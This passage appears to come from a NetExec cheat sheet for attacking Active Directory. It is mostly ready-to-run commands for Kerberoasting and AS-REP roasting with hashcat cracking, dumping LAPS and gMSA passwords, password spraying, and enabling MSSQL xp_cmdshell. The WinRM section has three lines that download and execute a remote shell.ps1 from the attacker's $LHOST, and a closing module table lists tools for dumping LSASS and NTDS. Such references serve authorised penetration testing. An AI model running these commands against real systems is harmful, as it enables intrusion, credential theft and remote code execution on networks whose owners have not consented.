```bash wrap theme={"theme":{"light":"night-owl","dark":"night-owl"}}
nxc ldap $DC_IP -u $USER -p $PASSWORD -d $DOMAIN --dns-server $DC_IP --bloodhound -c all # collect all BloodHound data
nxc ldap $DC_IP -u $USER -p $PASSWORD -d $DOMAIN --dns-server $DC_IP --bloodhound -c DCOnly # DC-only collection (faster, less noise)
nxc ldap $DC_IP -u $USER -p $PASSWORD -d $DOMAIN --dns-server $DC_IP -M bloodhound -o COLLECTION=all # module alternative
nxc ldap $DC_IP -u $USER -p $PASSWORD -d $DOMAIN --dns-server $DC_IP -M bloodhound -o COLLECTION=all,LoggedOn # include logged-on users
```
```bash wrap theme={"theme":{"light":"night-owl","dark":"night-owl"}}
nxc ldap $DC_IP -u $USER -H $NTHASH -d $DOMAIN --dns-server $DC_IP --bloodhound -c all # collect all BloodHound data
nxc ldap $DC_IP -u $USER -H $NTHASH -d $DOMAIN --dns-server $DC_IP --bloodhound -c DCOnly # DC-only collection (faster, less noise)
nxc ldap $DC_IP -u $USER -H $NTHASH -d $DOMAIN --dns-server $DC_IP -M bloodhound -o COLLECTION=all # module alternative
nxc ldap $DC_IP -u $USER -H $NTHASH -d $DOMAIN --dns-server $DC_IP -M bloodhound -o COLLECTION=all,LoggedOn # include logged-on users
```
```bash wrap theme={"theme":{"light":"night-owl","dark":"night-owl"}}
nxc ldap $DC_IP -u $USER --use-kcache -d $DOMAIN --dns-server $DC_IP --bloodhound -c all # collect all BloodHound data
nxc ldap $DC_IP -u $USER --use-kcache -d $DOMAIN --dns-server $DC_IP --bloodhound -c DCOnly # DC-only collection (faster, less noise)
nxc ldap $DC_IP -u $USER --use-kcache -d $DOMAIN --dns-server $DC_IP -M bloodhound -o COLLECTION=all # module alternative
nxc ldap $DC_IP -u $USER --use-kcache -d $DOMAIN --dns-server $DC_IP -M bloodhound -o COLLECTION=all,LoggedOn # include logged-on users
```
### Kerberoasting
Request TGS tickets for all SPN-registered accounts: output is in hashcat format ready for offline cracking.
```bash wrap theme={"theme":{"light":"night-owl","dark":"night-owl"}}
nxc ldap $DC_IP -u $USER -p $PASSWORD -d $DOMAIN --dns-server $DC_IP --kerberoast hashes.txt # request all kerberoastable TGS hashes
# Crack: hashcat -m 13100 hashes.txt ~/tools/wordlists/rockyou
```
```bash wrap theme={"theme":{"light":"night-owl","dark":"night-owl"}}
nxc ldap $DC_IP -u $USER -H $NTHASH -d $DOMAIN --dns-server $DC_IP --kerberoast hashes.txt # PTH version
# Crack: hashcat -m 13100 hashes.txt ~/tools/wordlists/rockyou
```
```bash wrap theme={"theme":{"light":"night-owl","dark":"night-owl"}}
nxc ldap $DC_IP -u $USER --use-kcache -d $DOMAIN --dns-server $DC_IP --kerberoast hashes.txt # request all kerberoastable TGS hashes
# Crack: hashcat -m 13100 hashes.txt ~/tools/wordlists/rockyou
```
### AS-REP Roasting
Request AS-REP for accounts with pre-authentication disabled: works without credentials if you have a username list.
```bash wrap theme={"theme":{"light":"night-owl","dark":"night-owl"}}
nxc ldap $DC_IP -u '' -p '' -d $DOMAIN --dns-server $DC_IP --asreproast hashes.txt # unauthenticated (null session)
nxc ldap $DC_IP -u users.txt -p '' -d $DOMAIN --dns-server $DC_IP --asreproast hashes.txt # test specific user list
# Crack: hashcat -m 18200 hashes.txt ~/tools/wordlists/rockyou
```
```bash wrap theme={"theme":{"light":"night-owl","dark":"night-owl"}}
nxc ldap $DC_IP -u $USER -p $PASSWORD -d $DOMAIN --dns-server $DC_IP --asreproast hashes.txt # authenticated, auto-discovers targets
# Crack: hashcat -m 18200 hashes.txt ~/tools/wordlists/rockyou
```
```bash wrap theme={"theme":{"light":"night-owl","dark":"night-owl"}}
nxc ldap $DC_IP -u $USER -H $NTHASH -d $DOMAIN --dns-server $DC_IP --asreproast hashes.txt # authenticated, auto-discovers targets
# Crack: hashcat -m 18200 hashes.txt ~/tools/wordlists/rockyou
```
```bash wrap theme={"theme":{"light":"night-owl","dark":"night-owl"}}
nxc ldap $DC_IP -u $USER --use-kcache -d $DOMAIN --dns-server $DC_IP --asreproast hashes.txt # authenticated, auto-discovers targets
# Crack: hashcat -m 18200 hashes.txt ~/tools/wordlists/rockyou
```
### LAPS Passwords
Retrieve LAPS-managed local admin passwords: the `ms-Mcs-AdmPwd` attribute is readable by accounts explicitly granted access.
```bash wrap theme={"theme":{"light":"night-owl","dark":"night-owl"}}
nxc ldap $DC_IP -u $USER -p $PASSWORD -d $DOMAIN --dns-server $DC_IP --laps # dump all LAPS passwords you can read
nxc ldap $DC_IP -u $USER -p $PASSWORD -d $DOMAIN --dns-server $DC_IP -M laps # module variant
nxc ldap $DC_IP -u $USER -p $PASSWORD -d $DOMAIN --dns-server $DC_IP --laps --computer DC01 # LAPS for specific computer
```
```bash wrap theme={"theme":{"light":"night-owl","dark":"night-owl"}}
nxc ldap $DC_IP -u $USER -H $NTHASH -d $DOMAIN --dns-server $DC_IP --laps # dump all LAPS passwords you can read
nxc ldap $DC_IP -u $USER -H $NTHASH -d $DOMAIN --dns-server $DC_IP -M laps # module variant
nxc ldap $DC_IP -u $USER -H $NTHASH -d $DOMAIN --dns-server $DC_IP --laps --computer DC01 # LAPS for specific computer
```
```bash wrap theme={"theme":{"light":"night-owl","dark":"night-owl"}}
nxc ldap $DC_IP -u $USER --use-kcache -d $DOMAIN --dns-server $DC_IP --laps # dump all LAPS passwords you can read
nxc ldap $DC_IP -u $USER --use-kcache -d $DOMAIN --dns-server $DC_IP -M laps # module variant
nxc ldap $DC_IP -u $USER --use-kcache -d $DOMAIN --dns-server $DC_IP --laps --computer DC01 # LAPS for specific computer
```
### gMSA Passwords
Retrieve Group Managed Service Account passwords: requires membership in the account's `PrincipalsAllowedToRetrieveManagedPassword` group.
```bash wrap theme={"theme":{"light":"night-owl","dark":"night-owl"}}
nxc ldap $DC_IP -u $USER -p $PASSWORD -d $DOMAIN --dns-server $DC_IP -M gmsa # retrieve all readable gMSA passwords
```
```bash wrap theme={"theme":{"light":"night-owl","dark":"night-owl"}}
nxc ldap $DC_IP -u $USER -H $NTHASH -d $DOMAIN --dns-server $DC_IP -M gmsa # retrieve all readable gMSA passwords
```
```bash wrap theme={"theme":{"light":"night-owl","dark":"night-owl"}}
nxc ldap $DC_IP -u $USER --use-kcache -d $DOMAIN --dns-server $DC_IP -M gmsa # retrieve all readable gMSA passwords
```
### LDAP Security Checks
Check whether the DC enforces LDAP signing and channel binding: if not enforced, LDAP relay attacks are possible.
```bash wrap theme={"theme":{"light":"night-owl","dark":"night-owl"}}
nxc ldap $DC_IP -u '' -p '' -d $DOMAIN --dns-server $DC_IP -M ldap-checker # also test without credentials
```
```bash wrap theme={"theme":{"light":"night-owl","dark":"night-owl"}}
nxc ldap $DC_IP -u $USER -p $PASSWORD -d $DOMAIN --dns-server $DC_IP -M ldap-checker # check signing + channel binding enforcement
```
```bash wrap theme={"theme":{"light":"night-owl","dark":"night-owl"}}
nxc ldap $DC_IP -u $USER -H $NTHASH -d $DOMAIN --dns-server $DC_IP -M ldap-checker # check signing + channel binding enforcement
```
```bash wrap theme={"theme":{"light":"night-owl","dark":"night-owl"}}
nxc ldap $DC_IP -u $USER --use-kcache -d $DOMAIN --dns-server $DC_IP -M ldap-checker # check signing + channel binding enforcement
```
### Machine Account Quota
Check how many machine accounts unprivileged users can create: if above 0, RBCD and other attacks requiring a computer account become trivial.
```bash wrap theme={"theme":{"light":"night-owl","dark":"night-owl"}}
nxc ldap $DC_IP -u $USER -p $PASSWORD -d $DOMAIN --dns-server $DC_IP -M maq # read ms-DS-MachineAccountQuota
```
```bash wrap theme={"theme":{"light":"night-owl","dark":"night-owl"}}
nxc ldap $DC_IP -u $USER -H $NTHASH -d $DOMAIN --dns-server $DC_IP -M maq # read ms-DS-MachineAccountQuota
```
```bash wrap theme={"theme":{"light":"night-owl","dark":"night-owl"}}
nxc ldap $DC_IP -u $USER --use-kcache -d $DOMAIN --dns-server $DC_IP -M maq # read ms-DS-MachineAccountQuota
```
## WinRM
WinRM (port 5985 HTTP, 5986 HTTPS) provides remote PowerShell access. Requires the account to be in the `Remote Management Users` group or a local admin.
### Credential Validation
A `(+)` response confirms WinRM access: `Pwn3d!` is not shown for WinRM since access itself implies admin-equivalent rights.
```bash wrap theme={"theme":{"light":"night-owl","dark":"night-owl"}}
nxc winrm $IP -u $USER -p $PASSWORD # validate WinRM access
nxc winrm $IP -u $USER -H $HASH # PTH via WinRM
nxc winrm $IP -u $USER --use-kcache # Kerberos ticket auth
nxc winrm $IP -u $USER -p $PASSWORD --ssl # HTTPS (port 5986)
```
### Command Execution
`-x` runs a raw command, `-X` runs PowerShell: both return output inline.
```bash wrap theme={"theme":{"light":"night-owl","dark":"night-owl"}}
nxc winrm $IP -u $USER -p $PASSWORD -x 'whoami /all' # cmd.exe command
nxc winrm $IP -u $USER -p $PASSWORD -X 'Get-Process | Select-Object Name,Id' # PowerShell command
nxc winrm $IP -u $USER -p $PASSWORD -X "IEX(New-Object Net.WebClient).DownloadString(\"http://$LHOST/shell.ps1\")"
```
```bash wrap theme={"theme":{"light":"night-owl","dark":"night-owl"}}
nxc winrm $IP -u $USER -H $NTHASH -x 'whoami /all' # cmd.exe command
nxc winrm $IP -u $USER -H $NTHASH -X 'Get-Process | Select-Object Name,Id' # PowerShell command
nxc winrm $IP -u $USER -H $NTHASH -X "IEX(New-Object Net.WebClient).DownloadString(\"http://$LHOST/shell.ps1\")"
```
```bash wrap theme={"theme":{"light":"night-owl","dark":"night-owl"}}
nxc winrm $IP -u $USER --use-kcache -x 'whoami /all' # cmd.exe command
nxc winrm $IP -u $USER --use-kcache -X 'Get-Process | Select-Object Name,Id' # PowerShell command
nxc winrm $IP -u $USER --use-kcache -X "IEX(New-Object Net.WebClient).DownloadString(\"http://$LHOST/shell.ps1\")"
```
## MSSQL
MSSQL (default port 1433) is worth checking for weak auth and code execution via `xp_cmdshell`. Test Windows auth first, then SQL auth.
### Authentication
Try Windows auth with `-windows-auth` before SQL auth: service accounts and domain users often have SQL access via their domain credentials.
```bash wrap theme={"theme":{"light":"night-owl","dark":"night-owl"}}
nxc mssql $IP -u $USER -p $PASSWORD # SQL auth
nxc mssql $IP -u $USER -p $PASSWORD -windows-auth # Windows auth
nxc mssql $IP -u sa -p '' -windows-auth # blank sa password check
nxc mssql $SUBNET -u sa -p sa # spray subnet for weak SA creds
```
```bash wrap theme={"theme":{"light":"night-owl","dark":"night-owl"}}
nxc mssql $IP -u $USER -H $NTHASH -windows-auth # PTH with Windows auth
```
```bash wrap theme={"theme":{"light":"night-owl","dark":"night-owl"}}
nxc mssql $IP -u $USER --use-kcache -windows-auth # Kerberos auth via Windows auth
```
### Query Execution
Run arbitrary T-SQL queries: useful for enumerating linked servers, database contents, and permissions.
```bash wrap theme={"theme":{"light":"night-owl","dark":"night-owl"}}
nxc mssql $IP -u $USER -p $PASSWORD -q "SELECT @@version" # server version
nxc mssql $IP -u $USER -p $PASSWORD -q "SELECT name FROM master.dbo.sysdatabases" # list databases
nxc mssql $IP -u $USER -p $PASSWORD -q "SELECT name FROM master..syslogins" # list SQL logins
nxc mssql $IP -u $USER -p $PASSWORD -q "SELECT * FROM openquery([$LINKED_SERVER], 'SELECT @@version')" # linked server query
nxc mssql $IP -u $USER -p $PASSWORD -q "EXEC sp_linkedservers" # enumerate linked servers
nxc mssql $IP -u $USER -p $PASSWORD -q "SELECT IS_SRVROLEMEMBER('sysadmin')" # check sysadmin
```
```bash wrap theme={"theme":{"light":"night-owl","dark":"night-owl"}}
nxc mssql $IP -u $USER -H $NTHASH -windows-auth -q "SELECT @@version" # server version
nxc mssql $IP -u $USER -H $NTHASH -windows-auth -q "SELECT name FROM master.dbo.sysdatabases" # list databases
nxc mssql $IP -u $USER -H $NTHASH -windows-auth -q "SELECT name FROM master..syslogins" # list SQL logins
nxc mssql $IP -u $USER -H $NTHASH -windows-auth -q "SELECT * FROM openquery([$LINKED_SERVER], 'SELECT @@version')" # linked server query
nxc mssql $IP -u $USER -H $NTHASH -windows-auth -q "EXEC sp_linkedservers" # enumerate linked servers
nxc mssql $IP -u $USER -H $NTHASH -windows-auth -q "SELECT IS_SRVROLEMEMBER('sysadmin')" # check sysadmin
```
```bash wrap theme={"theme":{"light":"night-owl","dark":"night-owl"}}
nxc mssql $IP -u $USER --use-kcache -windows-auth -q "SELECT @@version" # server version
nxc mssql $IP -u $USER --use-kcache -windows-auth -q "SELECT name FROM master.dbo.sysdatabases" # list databases
nxc mssql $IP -u $USER --use-kcache -windows-auth -q "SELECT name FROM master..syslogins" # list SQL logins
nxc mssql $IP -u $USER --use-kcache -windows-auth -q "SELECT * FROM openquery([$LINKED_SERVER], 'SELECT @@version')" # linked server query
nxc mssql $IP -u $USER --use-kcache -windows-auth -q "EXEC sp_linkedservers" # enumerate linked servers
nxc mssql $IP -u $USER --use-kcache -windows-auth -q "SELECT IS_SRVROLEMEMBER('sysadmin')" # check sysadmin
```
### xp\_cmdshell
Enable and abuse `xp_cmdshell` for OS command execution: requires `sysadmin` or equivalent rights.
```bash wrap theme={"theme":{"light":"night-owl","dark":"night-owl"}}
nxc mssql $IP -u $USER -p $PASSWORD -x 'whoami' # auto-enables xp_cmdshell, runs cmd, disables after
nxc mssql $IP -u $USER -p $PASSWORD -x 'whoami' --no-output # suppress output (for blind execution)
# Manual xp_cmdshell enablement via query
nxc mssql $IP -u $USER -p $PASSWORD -q "EXEC sp_configure 'show advanced options',1; RECONFIGURE"
nxc mssql $IP -u $USER -p $PASSWORD -q "EXEC sp_configure 'xp_cmdshell',1; RECONFIGURE"
nxc mssql $IP -u $USER -p $PASSWORD -q "EXEC xp_cmdshell 'whoami'"
```
```bash wrap theme={"theme":{"light":"night-owl","dark":"night-owl"}}
nxc mssql $IP -u $USER -H $NTHASH -windows-auth -x 'whoami' # auto-enables xp_cmdshell, runs cmd, disables after
nxc mssql $IP -u $USER -H $NTHASH -windows-auth -x 'whoami' --no-output # suppress output (for blind execution)
# Manual xp_cmdshell enablement via query
nxc mssql $IP -u $USER -H $NTHASH -windows-auth -q "EXEC sp_configure 'show advanced options',1; RECONFIGURE"
nxc mssql $IP -u $USER -H $NTHASH -windows-auth -q "EXEC sp_configure 'xp_cmdshell',1; RECONFIGURE"
nxc mssql $IP -u $USER -H $NTHASH -windows-auth -q "EXEC xp_cmdshell 'whoami'"
```
```bash wrap theme={"theme":{"light":"night-owl","dark":"night-owl"}}
nxc mssql $IP -u $USER --use-kcache -windows-auth -x 'whoami' # auto-enables xp_cmdshell, runs cmd, disables after
nxc mssql $IP -u $USER --use-kcache -windows-auth -x 'whoami' --no-output # suppress output (for blind execution)
# Manual xp_cmdshell enablement via query
nxc mssql $IP -u $USER --use-kcache -windows-auth -q "EXEC sp_configure 'show advanced options',1; RECONFIGURE"
nxc mssql $IP -u $USER --use-kcache -windows-auth -q "EXEC sp_configure 'xp_cmdshell',1; RECONFIGURE"
nxc mssql $IP -u $USER --use-kcache -windows-auth -q "EXEC xp_cmdshell 'whoami'"
```
## SSH
SSH is less common in Windows AD environments but frequently found in Linux targets reachable from a Windows pivot, and in some mixed-OS environments.
### Authentication and Execution
Test credentials and run commands: supports password auth and key auth.
```bash wrap theme={"theme":{"light":"night-owl","dark":"night-owl"}}
nxc ssh $IP -u $USER -p $PASSWORD # password auth
nxc ssh $IP -u $USER -p $PASSWORD -x 'id; hostname' # command execution
nxc ssh $IP -u $USER -p $PASSWORD -x 'sudo -l' # check sudo rights
nxc ssh $SUBNET -u root -p $PASSWORD -x 'id' # sweep subnet
```
```bash wrap theme={"theme":{"light":"night-owl","dark":"night-owl"}}
nxc ssh $IP -u $USER --key-file ~/.ssh/id_rsa # private key auth
nxc ssh $IP -u $USER --key-file ~/.ssh/id_rsa -x 'id; hostname' # command execution with key
nxc ssh $IP -u $USER --key-file ~/.ssh/id_rsa -x 'sudo -l' # check sudo rights with key
```
## Password Spraying
Spray one password across many accounts: always check `--pass-pol` first to get the lockout threshold. Default approach: one password per user per spray cycle, wait between cycles.
```bash wrap theme={"theme":{"light":"night-owl","dark":"night-owl"}}
# Single password against a user list
nxc smb $IP -u users.txt -p 'Password123' --continue-on-success # don't stop on first hit
# Single user against a password list (standard bruteforce)
nxc smb $IP -u administrator -p passwords.txt --continue-on-success
# 1:1 user:pass list (no cross-product bruteforce)
nxc smb $IP -u users.txt -p passwords.txt --no-bruteforce --continue-on-success
# Multiple passwords: pair carefully with lockout policy
nxc smb $IP -u users.txt -p 'Winter2024!' --continue-on-success
nxc smb $IP -u users.txt -p 'Spring2024!' --continue-on-success
# LDAP spray (quieter, Kerberos-based, doesn't hit SMB)
nxc ldap $DC_IP -u users.txt -p 'Password123' --continue-on-success
# Kerbrute-style via nxc (Kerberos pre-auth based)
nxc smb $IP -u users.txt -p 'Password123' --continue-on-success -d $DOMAIN --kdcHost $DC_HOST
```
## Global Flags Reference
These flags apply across all protocols and control auth method, threading, and output behavior.
```bash wrap theme={"theme":{"light":"night-owl","dark":"night-owl"}}
# Authentication
-u # username (file or single value)
-p # password (file or single value)
-H # NTLM hash (LM:NT or :NT format)
-d # domain name
--local-auth # authenticate against local accounts
--use-kcache # use Kerberos ccache (requires KRB5CCNAME env var)
--kdcHost # specify KDC hostname for Kerberos
--dns-server # DNS server for name resolution (required for LDAP/BloodHound in AD)
--aes-key # AES Kerberos key
# Targeting
-t # number of parallel threads (default: 100)
--timeout # connection timeout per host (default: 5)
--port # custom port
# Credential spraying
--continue-on-success # don't stop after first valid credential found
--no-bruteforce # pair users and passwords 1:1 (no cross-product)
# Output and logging
--verbose # show more detail including errors
--debug # full debug output
--log # write output to file
-o # pass options to module
# Modules
-M # run a module
-L # list available modules for this protocol
--options # show options for selected module
```
## Useful Module Reference
| Module | Protocol | What it does |
| ----------------- | -------- | --------------------------------------------------------------------------- |
| `spider_plus` | SMB | Recursively maps all readable shares to JSON, optionally downloads files |
| `lsassy` | SMB | Dumps LSASS memory remotely using multiple selectable methods |
| `dpapi` | SMB | Extracts DPAPI-protected secrets (browser passwords, Credential Manager) |
| `ntdsutil` | SMB | Dumps NTDS.dit via ntdsutil IFM method (DC only) |
| `backup_operator` | SMB | Abuses Backup Operator rights to extract SAM/SYSTEM/SECURITY hives |
| `change-password` | SMB | Changes a user password via SMB (self or ForceChangePassword) |
| `wdigest` | SMB | Enables or disables WDigest plaintext caching in LSASS |
| `coerce_plus` | SMB | Tests various coercion primitives (PrinterBug, PetitPotam, DFSCoerce, etc.) |
| `laps` | LDAP | Reads LAPS-managed local admin passwords from `ms-Mcs-AdmPwd` |
| `gmsa` | LDAP | Retrieves Group Managed Service Account passwords |
| `get-desc-users` | LDAP | Dumps the Description field of all user accounts (often contains passwords) |
| `groupmembership` | LDAP | Lists members of a group or groups a specific user belongs to |
| `ldap-checker` | LDAP | Checks LDAP signing and channel binding enforcement on the DC |
| `bloodhound` | LDAP | Collects BloodHound-format AD data for graph import |
| `maq` | LDAP | Reads `ms-DS-MachineAccountQuota` (affects RBCD attack feasibility) |
| `rdp` | SMB | Enables or disables Remote Desktop on the target |
| `runasppl` | SMB | Checks whether RunAsPPL (LSASS Protected Process) is enabled |
| `uac` | SMB | Reads UAC configuration flags on the target |
| `webdav` | SMB | Checks if WebDAV (WebClient service) is running on the target |